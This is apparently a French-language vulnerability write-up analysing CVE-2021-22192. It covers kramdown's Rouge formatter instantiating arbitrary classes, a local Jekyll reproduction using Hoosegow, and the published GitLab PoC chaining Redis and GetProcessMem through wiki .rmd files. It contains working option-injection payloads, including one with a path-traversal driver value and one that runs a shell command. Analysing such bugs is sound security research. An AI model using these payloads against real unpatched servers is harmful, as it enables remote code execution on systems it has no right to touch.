
CVE-2021-22192
En commençant à analyser ce bug, je ne disposais que de quelques précieuses informations de lyy289065406 qui m'ont permis de comprendre le cœur du problème. On dirait que le bug se trouve du côté de la gem kramdown (<= 2.3.0), j'ai donc commencé par me pencher sur kramdown.
On peut examiner le correctif de kramdown, et on voit une différence dans la fonction formatter_class du module Kramdown::Converter::SyntaxHighlighter::Rouge
::Rouge::Formatters.const_get(formatter) s'est transformé en ::Rouge::Formatters.const_get(formatter, false)
La fonction const_get est héritée de la classe Object, elle peut récupérer les constantes. Elle peut même renvoyer les classes déjà déclarées qu'elle trouve. La seule différence ici est l'ajout du paramètre false. L'ajout de ce paramètre false empêche const_get de récupérer les constantes de la classe parente ou des modules.
Encore plus intéressant : dans la fonction self.call, formatter_class est appelée puis new(opts) est appelé. Cela signifie que la méthode récupérée via const_get verra son constructeur appelé pour l'initialisation.
def self.call(converter, text, lang, type, call_opts)
opts = options(converter, type)
call_opts[:default_lang] = opts[:default_lang]
return nil unless lang || opts[:default_lang] || opts[:guess_lang]
lexer = ::Rouge::Lexer.find_fancy(lang || opts[:default_lang], text)
return nil if opts[:disable] || !lexer || (lexer.tag == "plaintext" && !opts[:guess_lang])
opts[:css_class] ||= 'highlight' # For backward compatibility when using Rouge 2.0
formatter = formatter_class(opts).new(opts)
formatter.format(lexer.lex(text))
end
En nous appuyant sur Kramdown:Options, on peut appeler la fonction Kramdown::Converter::SyntaxHighlighter::Rouge.call
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
On voit également que dans le module Kramdown:Options, la fonction simple_hash_validator appelle YAML.safe_load(val). On peut donc configurer un fichier YML pour envoyer le payload souhaité à Kramdown::Converter::SyntaxHighlighter::Rouge
def self.simple_hash_validator(val, name)
if String === val
begin
val = YAML.safe_load(val)
rescue RuntimeError, ArgumentError, SyntaxError
raise Kramdown::Error, "Invalid YAML value for option #{name}"
end
end
raise Kramdown::Error, "Invalid type #{val.class} for option #{name}" unless Hash === val
val
end
D'abord, il faut mettre en place Jekyll :
gem install jekyll
jekyll new jekyllTest
Gemfile.lock pour ramener la version de kramdown à <= 2.3.0cd jekyllTest
Fichier Gemfile.lock
...
kramdown (2.3.0)
...
bundle install
Voilà, nous avons fini de créer une page Jekyll. Maintenant, on peut injecter un payload pour voir si Kramdown::Converter::SyntaxHighlighter::Rouge.call est réellement capable d'appeler une méthode.
On peut l'ajouter dans le fichier ./_config.yml
kramdown:
syntax_highlighter: rouge
syntax_highlighter_opts:
formatter: CSV
Ou utiliser un document kramdown en ajoutant le payload dans ./_posts/*.markdown
{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: CSV, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Ici, j'utilise la deuxième méthode =)))))))
bundle exec jekyll serve
vous pouvez rencontrer l'erreur "require': cannot load such file -- webrick (LoadError)", il faut ajouter gem "webrick" au Gemfile
private method 'format' called for #<CSV io_type:Hash encoding:UTF-8 lineno:0 col_sep:. Cela prouve que la classe CSV a bien été appelée.D'après un article d'analyse CVE-2020-10518 qui utilise le bug de kramdown pour provoquer une RCE sur GitHub, je cible la classe Hoosegow :
initialize de Hoosegow, load_inmate_methods est appelédef initialize(options = {})
options = options.dup
@no_proxy = options.delete(:no_proxy)
@inmate_dir = options.delete(:inmate_dir) || '/hoosegow/inmate'
@image_name = options.delete(:image_name)
@ruby_version = options.delete(:ruby_version) || RUBY_VERSION
@docker_options = options
load_inmate_methods
load_inmate_methods, on voit qu'elle appelle require inmate_file def load_inmate_methods
inmate_file = File.join @inmate_dir, 'inmate.rb'
unless File.exist?(inmate_file)
raise Hoosegow::InmateImportError, "inmate file doesn't exist"
end
require inmate_file
unless Hoosegow.const_defined?(:Inmate) && Hoosegow::Inmate.is_a?(Module)
raise Hoosegow::InmateImportError,
"inmate file doesn't define Hoosegow::Inmate"
end
if no_proxy?
self.extend Hoosegow::Inmate
else
inmate_methods = Hoosegow::Inmate.instance_methods
inmate_methods.each do |name|
define_singleton_method name do |*args, &block|
proxy_send name, args, &block
end
end
end
end
Or inmate_file est créé en concaténant @inmate_dir avec 'inmate.rb'. Si on peut appeler cette classe et modifier le paramètre inmate_dir pour pointer vers le chemin de notre fichier payload, alors ne se produirait-il pas une RCE ici ?
J'exécute un script dans le chemin de la page Jekyll pour vérifier les méthodes déjà définies :
require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name =~ /\A[[:upper:]][[:alnum:]_]*\z/ }
methods.each do |m|
begin
puts "trying #{m[:ob]}"
m[:ob].new({a:1, b:2})
puts "worked\n\n"
rescue ArgumentError
puts "nope\n\n"
rescue NoMethodError
puts "nope\n\n"
rescue => e
p e
puts "maybe\n\n"
end
ob.name == "Hoosegow"require "bundler"
Bundler.require
methods = []
ObjectSpace.each_object(Class) {|ob| methods << ( {ob: ob }) if ob.name == "Hoosegow" }
...
gem "hoosegow" au Gemfile et le script trouve cette classe. [Hé hé hé]Hoosegow avec kramdown pour voir{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, line_numbers: true\}" /}
~~~ ruby
def what?
42
end
~~~
Je suis resté bloqué ici.. une semaine. Ouais, j'ai perdu une semaine à cause de ça. Je tournais en rond avec la question : « Pourquoi la classe Hoosegow est présente dans bundler, mais quand on l'appelle depuis Kramdown, ça ne marche pas ? Elle devrait pourtant marcher, non ??? »
Je pense : « Si la gem est déclarée dans le Gemfile, alors la classe est déjà dans le class path. Donc si le programme ne trouve toujours pas "Hoosegow", c'est qu'elle n'a pas encore été chargée... ». Alors, comment déclarer une gem pour que, au démarrage, Jekyll la charge avant de traiter les autres éléments du répertoire source ?
Je lis la doc de Jekyll et je trouve jekyll_plugins. Déclarer la gem dans le Gemfile ne suffit pas, il faut la déclarer dans le groupe jekyll_plugins pour que ça marche :( car lorsque la gem est déclarée dans jekyll_plugins, elle est chargée systématiquement avant que Jekyll ne traite les autres sources. Même en exécutant Jekyll en mode safe.
group :jekyll_plugins do
gem "jekyll-feed", "~> 0.12"
gem "hoosegow"
end
inmate.rb dans C:/ puis j'exécute le payload :{::options auto_ids="false" footnote_nr="5" syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Hoosegow, inmate_dir: C:/\}" /}
~~~ ruby
def what?
42
end
~~~
inmate.rb a bien été appelé. On dirait donc qu'on a presque réussi à refaire un PoC, non ?
inmate.rb sur le serveur de Gitlab et savoir où se trouve le fichier inmate.rb qu'on vient d'uploader ?inmate.rb dans notre propre projet puis modifier le fichier .gitlab-ci.ymlbefore_script:
- pwd
- gem install bundler
- bundle install
.gitlab-ci.yml. J'ai essayé de l'expliquer de différentes manières : « Peut-être qu'il y a un mécanisme qui scanne le fichier .yml avant qu'il ne soit chargé ? »,... mais rien ne me satisfaisait...
Je cherche une autre voie d'entrée : la page wiki. La page wiki permet d'utiliser le format kramdown, donc je soupçonne et je teste ici, mais sans résultat, car j'avais seulement mis le payload dans le fichier par défaut '*.md', et ce fichier '*.md' était limité dans les fonctionnalités nécessaires ; j'ai donc abandonné cette voie :(
À ce stade, je dois m'arrêter et attendre la publication du PoC pour consacrer du temps à d'autres recherches.
Un beau jour, le PoC a été publié. Après l'avoir lu, j'ai eu la chair de poule, c'est le moins qu'on puisse dire =)).
Le cœur du problème se trouvait bien dans kramdown, on avait vu juste, mais le chemin pour y arriver sur Gitlab semblait un peu bancal =)
L'auteur a découvert qu'en uploadant une page wiki avec un fichier '*.rmd', le programme appelle render_wiki_content -> other_markup_unsafe -> GitHub::Markup.render. Ainsi, le fichier '*.rmd' est rendu avec kramdown.
L'auteur a uploadé son fichier '.rmd' en clonant la page wiki en local, puis en utilisant git pour pousser la page wiki (avec le fichier '.rmd') vers Gitlab.
L'auteur a utilisé la classe Redis (déjà déclarée dans le projet Gitlab, donc on peut l'appeler et l'utiliser) pour exécuter son payload.
Lors de l'initialisation de la classe Redis, si l'option driver existe, le programme appelle la fonction _parse_driver. Ici, le programme fait require "connection/#{driver}" ; on peut influencer la variable driver pour que le programme charge le fichier payload que l'on a uploadé sur le serveur.
def _parse_driver(driver)
driver = driver.to_s if driver.is_a?(Symbol)
if driver.kind_of?(String)
begin
require_relative "connection/#{driver}"
rescue LoadError, NameError => e
begin
require "connection/#{driver}"
rescue LoadError, NameError => e
raise RuntimeError, "Cannot load driver #{driver.inspect}: #{e.message}"
end
end
driver = Connection.const_get(driver.capitalize)
end
driver
end
snippet, un attaquant peut uploader un payload Ruby avec Attach a file.En utilisant la voie qui consiste à faire appel à la classe Redis via Kramdown, l'auteur importe d'abord la gem get_process_mem avec le payload
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../get_process_mem\}" /}
~~~ruby
def what?
42
end
~~~
Ensuite, il utilise à nouveau la gem get_process_mem importée précédemment pour réaliser la RCE
{::options syntax_highlighter="rouge" syntax_highlighter_opts="{a: '`echo inject > /tmp/inject`', formatter: GetProcessMem\}" /}
~~ ruby
def what?
42
end
~~
Ainsi, sans avoir à trouver l'emplacement du fichier payload, un attaquant peut toujours exécuter une RCE sur le serveur Gitlab.
Références :